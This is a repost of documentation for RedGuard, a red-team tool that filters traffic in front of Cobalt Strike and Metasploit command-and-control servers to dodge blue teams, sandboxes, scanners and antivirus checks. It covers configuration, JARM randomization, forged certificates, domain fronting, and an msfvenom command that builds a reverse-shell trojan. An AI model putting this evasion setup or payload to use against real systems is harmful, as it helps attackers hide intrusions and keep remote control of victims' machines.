Site icon API Security Blog

RedGuard – C2 Front Flow Control Tool, Can Avoid Blue Teams, AVs, EDRs Check

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnlJkIKeeinYR2Ob_vLz_T2KUfA0Attaog2LS5O0LV7aniivC2XbPeSlzGSZmhJPPGbsVrWFG-Cot5fzfuF2VV5nydW6wkqgPW_6fy3sH7mJiFosFREp460IW-VLwaZLZ5EUdNLt9BP_sYxm8rck1ScN4U7_qIq6i1BFV4PSMHSbInueTkdX-PLBle/w640-h360/RedGuard_5.png)]()

# 0x00 Introduction

## Tool introduction

RedGuard is a derivative work of the C2 facility pre-flow control technology. It has a lighter design, efficient flow interaction, and reliable compatibility with go language development. The core problem it solves is also in the face of increasingly complex red and blue attack and defense drills, giving the attack team a better C2 [infrastructure]( “infrastructure” ) concealment scheme, giving the interactive traffic of the C2 facility a flow control function, and intercepting those “malicious” analysis traffic, and better complete the entire attack mission.

RedGuard is a C2 facility pre-flow control tool that can avoid Blue Team, AVS, EDR, Cyberspace Search Engine checks.

## Application scenarios

* During the offensive and defensive drills, the defender analyzes and traces the source of C2 interaction traffic according to the situational awareness platform
* Identify and prevent malicious analysis of Trojan samples in cloud sandbox environment based on JA3 fingerprint library
* Block malicious requests to implement replay attacks and achieve the effect of confusing online
* In the case of specifying the IP of the online server, the request to access the interactive traffic is restricted by means of a whitelist
* Prevent the scanning and identification of C2 facilities by cyberspace mapping technology, and redirect or intercept the traffic of scanning probes
* Supports pre-flow control for multiple C2 servers, and can achieve the effect of domain front-end, [load balancing]( “load balancing” ) online, and achieve the effect of concealment
* Able to perform regional host online restriction according to the attribution of IP address by requesting IP reverse lookup API interface
* Resolve strong features of staged checksum8 rule path parsing without changing the source code.
* Analyze blue team tracing behavior through interception logs of target requests, which can be used to track peer connection events/issues
* It has the function of customizing the time period for the legal interaction of the sample to realize the function of only conducting traffic interaction during the working time period
* Malleable C2 Profile parser capable of validating inbound HTTP/S requests strictly against malleable profile and dropping outgoing packets in case of violation (supports Malleable Profiles 4.0+)
* Built-in blacklist of IPV4 addresses for a large number of devices, honeypots, and cloud sandboxes associated with security vendors to automatically intercept redirection request traffic
* SSL certificate information and redirect URLs that can interact with samples through custom tools to circumvent the fixed characteristics of tool traffic. Learn more: What is SSL certificate ?
* ……….

# 0x01 Install

You can directly download and use the compiled version, or you can download the go package remotely for independent compilation and execution.

git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags “-s -w” -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard&&./RedGuard

# 0x02 Configuration Description

## initialization

As shown in the figure below, first grant executable permissions to RedGuard and perform initialization operations. The first run will generate a configuration file in the current user directory to achieve flexible function configuration. Configuration file name: **.RedGuard_CobaltStrike.ini**.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6_MfcxWlu_Mh6onpGa2_9hCIa0-i0DLnZwl0nHfSSzPVmHDboPPFiQvv6IfSPl6StPAHLXfhMMnYepz1LlsdZCmSwjWqKQrM_8YHBB7zXdb3ZAI-ZgD-7gaq0dl9XHMXGOnerydY7fZ2RA5-DnbMO1h7hD3n2U5Py4C2-g4FtdCcH0Vv0Mb8AoF-k/w640-h184/RedGuard_6_1656308555577.png)]()

**Configuration file content:**

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgh8233zNSwYGWJiIrmuzypJWdhHYl8S6gBf2tynwELlwKrhrxzSwZ4IzHXSbfa5q1uYKBvNl_jsX-NpXBdeJKGaj7i9VKFJhn07Eeomt-ZividdkaVpTw4oyDJWv8oxKrHq1zmDCmkoLLamI6B_cXSq7K489g4uZK3dL9NIUUZpiTs63O3s6DO2zlH/w640-h254/RedGuard_7_1656310498272.png)]()

The configuration options of cert are mainly for the configuration information of the HTTPS traffic exchange certificate between the sample and the C2 front-end facility. The proxy is mainly used to configure the control options in the reverse proxy traffic. The specific use will be explained in detail below.

The SSL certificate used in the traffic interaction will be generated in the cert-rsa/ directory under the directory where RedGuard is executed. You can start and stop the basic functions of the tool by modifying the configuration file **(the serial number of the certificate is generated according to the timestamp , don’t worry about being associated with this feature)**.If you want to use your own certificate,Just rename them to ca.crt and ca.key.

openssl x509 -in ca.crt -noout -text

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDgtBWzNr85MyGbLSCL-yJOpKgt6U2LwdGWLA2KgkNu-_FVj-n9R2yFtiLXlxeQVdNmjxLkJxi-TlbfExlvd6Twlv_hVtlj9CEaKPXKy1OWywjjVIcJziLZ2dFng40Pn8Wjd99RLxwmN4ndlw58TPCMnnvuadWS-S6GgI1T5LtTaDz6Ut-O4pqWxuu/w640-h328/RedGuard_8_1656308972417.png)]()

Random TLS JARM fingerprints are updated each time RedGuard is started to prevent this from being used to authenticate C2 facilities.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgISdmI8IEPWqCfUkENsirNL00Bh26Gxo-QkysXC3kmG6A4orJjTlISiSzJyCayBO1lLg6ySM-BMfrcPcvaqeMnbK-_yvhEfnB3DSb80bykGDb0JqbcmB8AjqSYIv26MCipHUVDfLK38x2yDorNeFY3NGNo8B_oEjUeChWcrH6qjhDt5AZJgHRJo0LF/w640-h276/RedGuard_9.jpeg)]()

In the case of using your own certificate, modify the HasCert parameter in the configuration file to true to prevent normal communication problems caused by the incompatibility of the CipherSuites encryption suite with the custom certificate caused by the randomization of JARM confusion.

# Whether to use the certificate you have applied for true/false
HasCert = false

## RedGuard Usage

[email?protected]:~# ./RedGuard -h

Usage of ./RedGuard:
-DropAction string
RedGuard interception action (default “redirect”)
-EdgeHost string
Set Edge Host Communication Domain (default “*”)
-EdgeTarget string
Set Edge Host Proxy Target (default “*”)
-HasCert string
Whether to use the certificate you have applied for (default “true”)
-allowIP string
Proxy Requests Allow IP (default “*”)
-allowLocation string
Proxy Requests Allow Location (default “*”)
-allowTime string
Proxy Requests Allow Time (default “*”)
-common string
Cert CommonName (default “*.aliyun.com”)
-config string
Set Config Path
-country string
Cert Country (default “CN”)
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port ( default “:80”)
-https string
Set Proxy HTTPS Port (default “:443”)
-ip string
IPLookUP IP
-locality string
Cert Locality (default “HangZhou”)
-location string
IPLookUP Location (default “??”)
-malleable string
Set Proxy Requests Filter Malleable File (default “*”)
-organization string
Cert Organization (default “Alibaba (China) Technology Co., Ltd.”)
-redirect string
Proxy redirect URL (default “https://360.net”)
-type string
C2 Server Type (default “CobaltStrike”)
-u Enable configuration file modification

**P.S. You can use the parameter command to modify the configuration file. Of course, I think it may be more convenient to modify it manually with vim. **

# 0x03 Tool usage

## basic interception

If you directly access the port of the reverse proxy, the interception rule will be triggered. Here you can see the root directory of the client request through the output log, but because the request process does not carry the requested credentials, that is, the correct HOST request header So the basic interception rule is triggered, and the traffic is redirected to

Here, in order to facilitate the display of the output effect, the actual use can be run in the background through `nohup ./RedGuard &`.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzcvPNanwvdAv1j9L6BXvNuwPimTbOcDRASYXxJPNDsxdiBktwxZk7ZFmvfbZ1dSR2abz3Bi6VWJF-hs4Povtu7RqYXxM59j6rAtEjxusc9hjh2DJsqTrfdat5fU6cHrlehm6HIMMJ1j0qRNtEACoumsw64nVF2cd0SDOxIBTB0oq3F284DJ6ruhkb/w640-h204/RedGuard_10_1656309416534.png)]()

{“360.net”:”https://127.0.0.1:8080″,”360.com”:”https://127.0.0.1:4433″}

It is not difficult to see from the above slice that 360.net corresponds to the proxy to the local port 8080, 360.com points to the local port 4433, and corresponds to the difference in the HTTP protocol used. In the subsequent online, you need to pay attention to the protocol of the listener. The type needs to be consistent with the one set here, and set the corresponding HOST request header.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbbEU55bkJ_2c5Sizf5N75i7bAALLAzrUUO1QN3V4wS00B2Yqyzg-7DJSeVTERyPcpD37YFjlnJhbnAljN_8ntXXkiv7dAA0JZcqDy1v-gwfBO1fPYAtKGyOo_EkzcKZdkI2MwYEla7lf0IiWxJUSrhMne1iDBZ-aTwfxSYa_cx3t_MbuQjsb86dKX/w640-h326/RedGuard_11_1656309543334.png)]()

As shown in the figure above, in the case of unauthorized access, the response information we get is also the return information of the redirected site.

## interception method

In the above basic interception case, the default interception method is used, that is, the illegal traffic is intercepted by redirection. By modifying the configuration file, we can change the interception method and the redirected site URL. In fact, this The other way is a redirect, which might be more aptly described as hijacking, cloning, since the response status code returned is 200, and the response is taken from another website to mimic the cloned/hijacked website as closely as possible.

Invalid packets can be misrouted according to three strategies:

* **reset**: Terminate the TCP connection immediately.
* **proxy**: Get a response from another website to mimic the cloned/hijacked website as closely as possible.
* **redirect**: redirect to the specified website and return HTTP status code 302, there is no requirement for the redirected website.

# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net

**Redirect = URL** in the configuration file points to the hijacked URL address. RedGuard supports “hot change”, which means that while the tool is running in the background through nohup, we can still modify the configuration file. The content is started and stopped in real time.

./RedGuard -u –drop true

Note that when modifying the configuration file through the command line. The -u option should not be too small, otherwise the configuration file cannot be modified successfully. If you need to restore the default configuration file settings, you only need to enter `./RedGuard -u`.

Another interception method is DROP, which directly closes the HTTP communication response and is enabled by setting **DROP = true**. The specific interception effect is as follows:

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0WN-4kmPnvQG-TQadsQmRigxLIDV_sk8SYsnkqwIyGrVAkf6h5DkHDfOhpTQ-cSgQ_1U_CP2yMCtmUth37NUPwv5ebxD0r7ed4Tn9kjCBR9emGLVkrNiovk8m2-eW6-Ct-cWylFbLCLS5JRva1-2NjcYTHTbAjVo7YdHw30EENKWolLdLxqPpAXEe/w640-h310/RedGuard_12_1656310664285.png)]()

It can be seen that the C2 pre-flow control directly responds to illegal requests without the HTTP response code. In the detection of cyberspace mapping, the DROP method can achieve the function of hiding the opening of ports. The specific effect can be seen in the following case. analyze.

## Proxy port modification

In fact, it is easy to understand here. The configuration of the following two parameters in the configuration file realizes the effect of changing the reverse proxy port. It is recommended to use the default port on the premise of not conflicting with the current server port. If it must be modified, then pay attention to the **:** of the parameter value not to be missing

# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80

## RedGuard logs

The blue team tracing behavior is analyzed through the interception log of the target request, which can be used to track peer connection events/problems. The log file is generated in the directory where RedGuard is running, **file name: RedGuard.log**.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpui1u71agvVOkuTlbZx7QjQ-lxMo82938oziN2tY7wirYiDaerD8JTT3Ak4-4Lf5XmemPyvdS_anA2ge3vPZ3EQzkexarNBca7Q_1cObJxPmQO5cpxKPfaoP-QIT-nx0kazSq4EDhR6KKc5HaPJHUcu6oT38FdQhSNy5OE4UyGRRemPjC98AUwyew/w640-h298/RedGuard_13_1656310909975.png)]()

## RedGuard Obtain the real IP address

This section describes how to configure RG to obtain the real IP address of a request. You only need to add the following configuration to the profile of the C2 device, that is, to obtain the real IP address of the target through the request header X-Forwarded-For.

http-config {
set trust_x_forwarded_for “true”;
}

## Request geographic restrictions

The configuration method takes AllowLocation = Jinan, Beijing as an example. It is worth noting here that RedGuard provides two APIs for IP attribution anti-check, one for domestic users and the other for overseas users. Dynamically assign which API to use. If the target is in China, enter Chinese for the set region. Otherwise, enter English place names. It is recommended that domestic users use Chinese names. In this way, the accuracy of the attribution found and the response speed of the API are both is the best choice.

P.S. Domestic users, do not use **AllowLocation = Jinan,beijing** this way! It doesn’t make much sense, the first character of the parameter value determines which API to use!

# IP address owning restrictions example:AllowLocation = ??,??,?? or shanghai,beijing
AllowLocation = *

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0m_I3SZkVuUbloEIxQxJigcF-ICtLtJjODBipHkA3AFQBpuHFEr-NHmbeyPcdJLfCbC0s1X49Vtf0GJf2cQu62lAx12pjRXkI4-Hyr9DhGU1lIGgpNzdrUf2vN2sE14vFK2Iy6i2uDOrrsHdGQDdvb6061J_V4twxejOmVmLUnbA5TCWM9N1aSL0z/w640-h326/RedGuard_14_1656311033506.png)]()

Before deciding to restrict the region, you can manually query the IP address by the following command.

./RedGuard –ip 111.14.218.206
./RedGuard –ip 111.14.218.206 –location shandong # Use overseas API to query

Here we set to allow only the Shandong region to go online

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtAmO8RtNts-1ajFvdE_FAqnLvzvTbI1MSc3cSkog3ZaLkc60ZwaD4otj00CDAkQN8JduJXQxBIIE4FxHbXHdhuIgrl9AFnnXscmAUbw3f68fzR70LOapWTnNuWgTKpM3b3bNxErVhXXkdvSBENNb1JbKt3UMHVshtnmcSSPDQqI8mH0XM74O5SO2K/w640-h60/RedGuard_15_20220521200158-d0d34d6c-d8fd-1.png)]()

**Legit traffic:**

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvmoCRrYzXOPhA-efXApAosLYrM3hIcFVMh2LTSSSdvmPR5RgwJXpZXO3_MjQYw7Qi883cKF-2bdBBqO-iImc9Ms3vHT3lp4_RcU7rqRdK5Ti6cU6eFzZ47l-4inaONk6U9VEWfJMArGAdNbaBarx-jLQ1O0uS2-eRXj4kWQ41eWVMadQa02ddOFgP/w640-h282/RedGuard_16_20220521205147-c6bb200a-d904-1.png)]()

**Illegal request area:**

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYNMR0rZkoUG548zHt1lIjUEEgEm4jzF4YVV7FoQHowWsxNvXKBbTLJ1TIiaSeJlefRugz_55whff5VUWOljjo-sgD8GYY_yh9WFysVVlky6ASrK30lNWCjXTLA9cjYZ8IpE6Hj8dkgCQiPwoWHOjv5yd8g8_mQIvmfRzEh9PNMWFJXXaxp6o0rnWa/w640-h328/RedGuard_17_20220521205347-0dbc1efa-d905-1.png)]()

Regarding the launch of geographical restrictions, it may be more practical in the current offensive and defensive drills. Basically, the targets of provincial and municipal protection network restrictions are in designated areas, and the traffic requested by other areas can naturally be ignored, and the function of RedGuard is Not only can a single region be restricted, but multiple online regions can be restricted based on provinces and cities, and traffic requested by other regions can be intercepted.

## Blocking based on whitelist

In addition to the built-in blacklist of security vendor IPs in RedGuard, we can also restrict according to the whitelist. In fact, I also suggest that when doing web management, we can restrict the addresses of the online IPs according to the whitelist, so as to divide multiple IPs way of address.

# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhQIZA8VWCuJECNbC7MA6IvgnmIdYNKBBi0QPftkswvIbAJUukj4G4J1M7rJ273bJcCQKqmF_WCzHnzcF-5exjd8r5Q90p1zaNd4Rx7saXw5MECoHv8QBgpWjcS_66ZX_16_3cSzAcbCzT69qkPwGAnGEI_i14U8B1KfEYnGHwlloyFiIDNV19dfs3/w640-h196/RedGuard_18_1656311197849.png)]()

As shown in the figure above, we only allow 127.0.0.1 to go online, then the request traffic of other IPs will be intercepted.

## Block based on time period

This function is more interesting. Setting the following parameter values in the configuration file means that the traffic control facility can only go online from 8:00 am to 9:00 pm. The specific application scenario here is that during the specified attack time, we allow communication with C2 Traffic interacts, and remains silent at other times. This also allows the red teams to get a good night’s sleep without worrying about some blue team on the night shift being bored to analyze your Trojan and then wake up to something indescribable, hahaha.

# Limit the time of requests example: AllowTime = 8:00 – 16:00
AllowTime = 8:00 – 21?00

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHEPEDvsV-Dy4t_52w6TYUeIix3kh7YNF8a3R46rGB7zpF-_FdYWDzif8rZYdfW8ET2gkh5R7FXk3Ju5opAFTDkTy2TZ5-h91V88V8hF5WJaFgI4XXMBznOQn8O7TFEBcZKAH1CwSZZUWudeifUVZmnJoNbmdmWUnrQiyljiTVGjHBOcMHhGEG_Vu7/w640-h200/RedGuard_19_1656311327769.png)]()

## Malleable Profile

RedGuard uses the Malleable C2 profile. It then parses the provided malleable configuration file section to understand the contract and pass only those inbound requests that satisfy it, while misleading others. Parts such as `http-stager`, `http-get` and `http-post` and their corresponding uris, headers, User-Agent etc. are used to distinguish legitimate beacon requests from irrelevant Internet noise or IR/AV/EDR Out-of-bounds packet.

# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_Qu5oHEgNW5dPsQSKm3Y2jBsPRqCyVh2velTJpeIkQYt7kk0s895pOUZarX4jK2sXk4SqckiSG5E5mWzvuF9Ljfg7ZVGMH0Slo_TeVcqNDTZJTrT5jEXcYEmLEYEUWArW2Jo7wfYP0fUDe5Wve8RliHWL6He-GYoacL6yVafD_ZAZw4acT050GRDS/w640-h278/RedGuard_20_1656311591693.png)]()

The profile written by ?? is recommended to use:

>

# 0x04 Case Study

## Cyberspace Search Engine

As shown in the figure below, when our interception rule is set to DROP, the spatial mapping system probe will probe the / directory of our reverse proxy port several times. In theory, the request packet sent by mapping is faked as normal traffic. Show. But after several attempts, because the characteristics of the request packet do not meet the release requirements of RedGuard, they are all responded by Close HTTP. The final effect displayed on the surveying and mapping platform is that the reverse proxy port is not open.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj17FwjOTFBDGf77GORYPYuEKo58wntjpKWZUqvr2XHA2O84F1fXfCPvK6g7qNqIw6a8BnSUhLsPVN2duRO2cY2CAwszOfu0JEfjCkPh1GRQM88Mzr6Ov_7_jn2PKBG9YNh3JvfZoNF-nCQj8aggDF34qe1W__Gk6aySj1ypxOjjOYYgv8Aq9H2C6jM/w640-h324/RedGuard_21_1656312184116.png)]()

The traffic shown in the figure below means that when the interception rule is set to Redirect, we will find that when the mapping probe receives a response, it will continue to scan our directory. UserAgent is random, which seems to be in line with normal traffic requests, but both successfully blocked.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ5UuF0dFcE7UXQaTznqOAwUZdzvbBdRFaHic1rRhp9j6Th7RDZVc8DD0QfvWCa0VwBpPStw1nhvOjB-kfeJWX2dNp03SD-1fTV6801nolRHpooRAyozs81C7on2P397KCFsVJZ2k6qtnvfNoxLbhZAIaaGT-_hbhVZTT_jdDi2-xvQgSjLVVdxIoO/w640-h330/RedGuard_22_1656312557035.png)]()

**Mapping Platform – Hijack Response Intercept Mode Effect:**

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO-TmZlMGy5wi97LHS9Esz-EzZkFGcsoI8hL7g8ZnnXwG0lq5bAG1K8zvIDLz1cYt8xfx0iWeU72hGIARS7OH-RYE3kddTvZ-_02Tw-inT1s7mMu6mfQW72YX8nYfie_6wk8w5hwgLk6PpcGlsAslfRSPGfT6ew3kpHA0vAjDX44o1XvVqtELs5cKD/w640-h468/RedGuard_23_1656313188878.png)]()

**Surveying and mapping platform – effect of redirection interception:**

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLnMj4_tjAgkhhEHekv89fXV6cLix9ihWKhN4VZCluS34aLZFMlGzDqNxP-IjUbU_tSOCSTPe5gWUMeeTNKrKCMKqk4BPMk7Rz_oCoFMWVagfEYUt18I7cTr-rlmGDc2j7fRxq0zlm2qA14ZNsZdkl-J4uRYjHZTUx3zCbk_DpfnlGHppFnEy9ZzY6/w640-h272/RedGuard_24_1656406644535.png)]()

## Domain fronting

RedGuard supports Domain fronting. In my opinion, there are two forms of presentation. One is to use the traditional Domain fronting method, which can be achieved by setting the port of our reverse proxy in the site-wide acceleration back-to-source address. On the original basis, the function of traffic control is added to the domain fronting, and it can be redirected to the specified URL according to the setting we set to make it look more real. It should be noted that the RedGuard setting of the HTTPS HOST header must be consistent with the domain name of the site-wide acceleration.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvIYGErtTh2A5RHqKUFonLrenFjEveUbhrWY7Tz6yFQ8k5Bp2ZEmFOIX86SRR8z7Jto5NMUPs7QaiiyVZkcM3eHgLL_U454nlfV1sxCpB0QZs5j9t67gzG0D5XtHbjXHIzPz5mJZuYB531CuGqNFCCuhzi0uDY1t4Jw-NEiG5ryRSI1_HNdwLjWQBI/w640-h250/RedGuard_25_20220522143012-a26ab442-d998-1.png)]()

In individual combat, I suggest that the above method can be used, and in team tasks, it can also be achieved by self-built “Domain fronting”.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt9cguLfuXqqrHFXZcCOqgWb2W2yTs41FnXRSds0_gWCP672GT_OatrO6uMqwE2NRylahAxEFKqA6-OJ9heL-CiNE-sHBLfW2ajXrgGTeilEIsk_DUTPL-tFHPAdOhHQptLvReWiws7TTwF_bKKzRRVvRzP5WMNwsdLTUkBN_Z1E4IcbA7FMeXOsGL/w496-h640/RedGuard_26_20220522143837-cf77a944-d999-1.png)]()

In the self-built Domain fronting, keep multiple reverse proxy ports consistent, and the HOST header consistently points to the real C2 server listening port of the backend. In this way, our real C2 server can be well hidden, and the server of the reverse proxy can only open the proxy port by configuring the firewall.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOD8EmpijsR_PsoWj2VVq4t4lhyo6Qkg0fWpuYnhW88_dwXd0gvMVQHY5Iwti0NwDMAgpcawp8k98A0RK2YLuDh2PT10YSkiIa0pPsyGZEG05OFB0TqUmzeN1WOb_3txYwE7jX_RMkW119plbatMJXeO-5X69eqRfUmdYHmkqQKkPCn_caoJg-9m9M/w640-h272/RedGuard_27_1656313773114.png)]()

This can be achieved through multiple node servers, and configure multiple IPs of our nodes in the CS listener HTTPS online IP.

## Edge Node

RedGuard 22.08.03 updated the edge host online settings – custom intranet host interaction domain name, and the edge host uses the domain front CDN node interaction. The asymmetry of the information exchanged between the two hosts is achieved, making it more difficult to trace the source and make it difficult to check.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFkUYx1vZ4fG7cIArdHD1y0pxgdroUAcCmbFMtluTZHg1kpF_HXDHQ50wEEiu9hPua76wn4VpyAV7hE0IwIWpDWn8ZX64ZhEnBefPPSaua-lSQzJieM_TiSBETxChNglCc3-m3PTyY7KYgwF00fpiMqtMDsXAXqeZnHQr99yhLsAIXUIt__wx7U79Q/w640-h344/RedGuard_28.png)]()

## CobaltStrike

If there is a problem with the above method, the actual online C2 server cannot be directly intercepted by the firewall, because the actual load balancing request in the reverse proxy is made by the IP of the cloud server manufacturer.

If it is a single soldier, we can set an interception strategy on the cloud server firewall.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9j3RfiW9gkGl_dh9TjAI12Fe0wL6VgMZSuI2-_li5pPqVUSg7DCAqOXa3_U1cKRx47YPOdSfEvGZMf1HY8Lgp0IRjvRau2SkMkDwrlAMBj8dN1yjUp60TCb352YmT0wLeYuWQAnq3vV7sGNvK8d-Hb6J8d0V1LaVVFqg8CXH1McIUfk-JxodyM1gD/w640-h56/RedGuard_29_20220522150356-58b9586c-d99d-1.png)]()

Then set the address pointed to by the proxy to .

{“360.net”:”https://127.0.0.1:8080″,”360.com”:”https://127.0.0.1:4433″}

And because our basic verification is based on the HTTP HOST request header, what we see in the HTTP traffic is also the same as the [domain fronting]( “domain fronting” ) method, but the cost is lower, and only one cloud server is needed.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEEpUPq6i6kgR1jdYQ3Qs4-APto0pSCQI-DSQS_KZj-n0wDzv5gOPcqB_SHqdqz1ndS_E0JXWCI2OygXAytfeE-T02eOJnj1c4EtiBVhfxnIpX7GdKQ5Uv_bZn4uukMnlEFJR5w8lkAbM-6hawCXi8U3zTSfCH5aBE7h6LsZpnUaIpV9MBcJxNnoH7/w640-h260/RedGuard_30_20220522150942-26f6c264-d99e-1.png)]()

For the listener settings, the online port is set to the RedGuard reverse proxy port, and the listening port is the actual online port of the local machine.

## Metasploit

**Generates Trojan**

$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe

Of course, as a domain fronting scenario, you can also configure your LHOST to use any domain name of the manufacturer’s CDN, and pay attention to setting the HttpHostHeader to match RedGuard.

setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true

It is important to note that the `OverrideRequestHost` setting must be set to `true`. This is due to a quirk in the way Metasploit handles incoming HTTP/S requests by default when generating configuration for staging payloads. By default, Metasploit uses the incoming request’s `Host` header value (if present) for second-stage configuration instead of the `LHOST` parameter. Therefore, the build stage is configured to send requests directly to your hidden domain name because CloudFront passes your internal domain in the `Host` header of forwarded requests. This is clearly not what we are asking for. Using the `OverrideRequestHost` configuration value, we can force Metasploit to ignore the incoming `Host` header and instead use the `LHOST` configuration value pointing to the origin CloudFront domain.

The listener is set to the actual line port that matches the address RedGuard actually forwards to.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPN7E4kgy5vjWCXa9IAgLokdwhVUk6iT326OGoqfQxCTvBpXiqYtKH8n1qM8S7FXNKyHoZ5zdG29iGUBX-YVWmW1ams1vqV9PyqADy4Q5FUgt09LNMTAW6wonP7JvppUjvp6-eNhhkHeOt0IIh5UtLyDxlH9EVVKJPQYiXoPQyh9qaaV2P422xgA2e/w640-h342/RedGuard_31.png)]()

RedGuard received the request:

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_W3K7EFGIpJmc9mqVj_me-l0vBM2eokUgbfMXBGUHL7FCYKMa5F5x6WnhEE9rWQejJCa8pW64zeyU1q8JgsB1S50xitWiYQJUCZNaU813zw2ltrk-kl0TqrbStpXQKJF8vGIfgqXdbd2ThxiHYu1tCSzyGk9LLNWyj4gXhvOq7XBhrLpurPJM70Nc/w640-h220/RedGuard_32.png)]()

# 0x05 Loading

Thank you for your support. RedGuard will continue to improve and update it. I hope that RedGuard can be known to more security practitioners. The tool refers to the design ideas of RedWarden.

**We welcome everyone to put forward your needs, RedGuard will continue to grow and improve in these needs! **

**About the developer ?? related articles:**

> 2022Kcon Author of the weapon spectrum of the hacker conference
>
> The 10th ISC Internet Security Conference Advanced Offensive and Defense Forum “C2 Front Flow Control” topic
>
> [https://isc.n.cn/m/pages/live/index?channel_id=iscyY043&ncode=UR6KZ&room_id=1981905&server_id=785016&tab_id=253]( “https://isc.n.cn/m/pages/live/index?channel_id=iscyY043&ncode=UR6KZ&room_id=1981905&server_id=785016&tab_id=253” )
>
> Analysis of cloud sandbox flow identification technology
>
>
>
> Realization of JARM Fingerprint [Randomization]( “Randomization” ) Technology
>
>

**Kunyu: **

> ????????????????

# 0x06 Community

If you have any questions or requirements, you can submit an issue under the project, or contact the tool author by adding WeChat.

[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS1F710qEDzW3YHnttW0xf-5N3DB1BiHMaihC7FdlFKoMkpz_ER6w4d4DtrnvTSW7pkix5tSuc47VuWwv8fulyjbHyrI67YraFezaqhr-E-l5E_N1-3tlRabvTiwAR2YJcv8J80TIe_Lo2OFXE2vkFls2IsUeR6kzgDuvNlG3dmiUpg4sthVdiGAn7/s320/RedGuard_33_20220522141706-ce37e178-d996-1.png)]()

**[Download RedGuard]( “Download RedGuard” )**Read More

Exit mobile version